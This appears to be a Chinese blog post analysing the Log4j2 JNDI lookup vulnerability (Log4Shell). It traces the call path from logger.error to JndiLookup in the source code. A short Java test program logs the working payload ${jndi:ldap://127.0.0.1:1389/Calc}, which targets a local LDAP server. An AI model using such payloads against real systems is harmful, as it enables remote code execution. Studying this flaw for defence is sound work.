关于漏洞复现,请看上篇文章

漏洞代码就用上篇文章的代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class main {
        private static final Logger logger = LogManager.getLogger();

        public static void main(String[] args) {
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
            logger.error("${jndi:ldap://127.0.0.1:1389/Calc}");
        }
}

漏洞入口代码打上断点进行分析,也就是looger.error这一行,一些不重要的地方我就省略一下了,漏洞入口再error函数,我们跟进一下,这里可以看到error函数进入到logIFabled中,入口在logIFEnabled()

lookup机制

lookup机制,通俗点说控制会在什么地方级别的日志中出现。首先我们要了解一点日志等级,在log4j2中, 共有8个级别,按照从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF

  • All:最低等级的,用于打开所有日志记录.
  • Trace:是追踪,就是程序推进一下.
  • Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.
  • Info:消息在粗粒度级别上突出强调应用程序的运行过程.
  • Warn:输出警告及warn以下级别的日志.
  • Error:输出错误信息日志.
  • Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志

程序会打印高于或等于所设置级别的日志,设置的日志等级越高,打印出来的日志就越少 。

这也就是下方logIFEnabled方法,也就是说,在不管什么级别的日志下都可以出发lookup

logIfEnabled()入口

入口函数为logIfEnabled,如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数,但是后续想要触发该漏洞只能error/fotal触发

这里看到了一个if判断,想要触发后续流程,需要调用logMessage方法,需要isEnable为true,isEnable会对level进行判断,只有小于等于200,才会返回true,他们的evel如下

static {
        OFF = new Level("OFF", StandardLevel.OFF.intLevel());
     //100
        FATAL = new Level("FATAL", StandardLevel.FATAL.intLevel());
     //200
        ERROR = new Level("ERROR", StandardLevel.ERROR.intLevel());
     //300
        WARN = new Level("WARN", StandardLevel.WARN.intLevel());
     //400
        INFO = new Level("INFO", StandardLevel.INFO.intLevel());
     //500
        DEBUG = new Level("DEBUG", StandardLevel.DEBUG.intLevel());
     //600
        TRACE = new Level("TRACE", StandardLevel.TRACE.intLevel());
     //2147483647
        ALL = new Level("ALL", StandardLevel.ALL.intLevel());
    }

接着继续跟进,不重要的略过

LoggerConfig.processLogEvent()

在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,event中就是我们的日志事件,主要部分在调用callAppenders()即调用Appender

经过一个判断后,跟进到callAppender(),Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。

AbstractOutputStreamAppender.tryAppend()

接着跟进后续代码,经过了一连串判断,调用了tryAppend()尝试输出日志,同时可以为了进行日志格式化,于是调用了directEncodeEvent进行判断

AbstractOutputStreamAppender.directEncodeEvent

进入directEncodeEvent(),通过getLayout()获取Layout日志格式,通过Layout.encode()进行日志的格式化

经过两层encode调用后再调用toText,在toSerializable处完成日志格式化,通过format来完成了格式化的事

下面继续跟进,一直跟进到关键format()函数

MessagePatternConverter.format()

处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处

重点为红框部分,if (this.config != null && !this.noLookups) ,当config存在并且noLookups为false,进入到下面的代码,遍历 workingBuilder 来进行判断

如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串,这一部分workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

所以下图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}

出现了一个问题

这里我打断点跟进的时候,到这里计算器就弹出来了,也就是说程序运行到这里就停了接着返回,不是很清楚到底是什么原因导致后面调用栈跟进不下去了,事实上后面的栈才是重点,有可能是我之前运行写的日志以及恶意类以及加载好了在日志中,再次运行直接拿出来用了,这里我不是很清楚,有带佬可以解释解释么

后面就手动跟进了

StrSubstitutor.replace()

继续跟进,上图发现进入到了replace(),我们输入的payload可以看见这里被存进了buf中往下传递,进入该方法可以发现经过判断后return了substitute()处理后结果,跟进substitute()

StrSubstitutor.substitute()

进入substitute(),这里先可以看到先获取到了前面获取的payload的开头符号以及结束符号,及${},并定义prefixMatcher和suffixMatcher来进行下面的使用,继续跟进该方法

这里的一些参数,定义了一系列变量用来下面while循环使用

prefixMatcher代表${ 前缀
suffixMatcher代表 } 后缀
escape代表 $
valueDelimiterMatcher代表 :和-
chars是我们写入日志的字符串
bufEnd相当于字符串长度
pos相当于头指针

跟进下面的while循环

  1. 寻找${前缀
  2. 接着进入下一个while循环,寻找后缀,同时可以看到这里又调用了一次substitute(),这里是为了接着判断是否碰到 ${前缀,如果碰到了pos指针直接加上它的长度让指针后移继续寻找后缀,也就是为了解决多重${}符号的问题

那么我们查询一次后第二次进入substitute()时,已经没有${}符号,跳过递归循环直接进入下面的代码,继续跟进,直接进到resolveVariable,varName 就是为 ${} 中的值

接着跟进到resolveVariable()方法,创建StrLookup对象,将variableResolver赋给他,并且返回使用lookup()处理的变量

Interpolator.lookup

跟进lookup()方法,看到这里传入了variableName==var,对传入的variableName进行处理,首先会截取前四位存到prefix,此时我们取出来的为 jndi 然后根据取出来的名字中寻找对应的 lookup

Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发

这个类在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。关键分发逻辑如下图

JndiLookup.lookup

这里获取到了jndi字符,最终进入到了#JndiLookup.lookup中,如下图

进到convertJndiName中看看jndiName是怎么写的,那么也就是将jndi:后的代码提取出来,即为ldap://127.0.0.1:1389/Calc,导致后续漏洞

JndiManager.lookup

同时由于在我们输入payload中这部分为我们可控,故产生该漏洞,继续跟进jndiManager.lookup(jndiName),进入这个方法,这里调用了javax.naming.InitialContext,我们就没必要跟进了,在后面就是jndi注入的代码了

参考链接

https://blog.csdn.net/cjdgg/article/details/124054454

https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg

http://wjlshare.com/archives/1674

http://wjlshare.com/archives/1677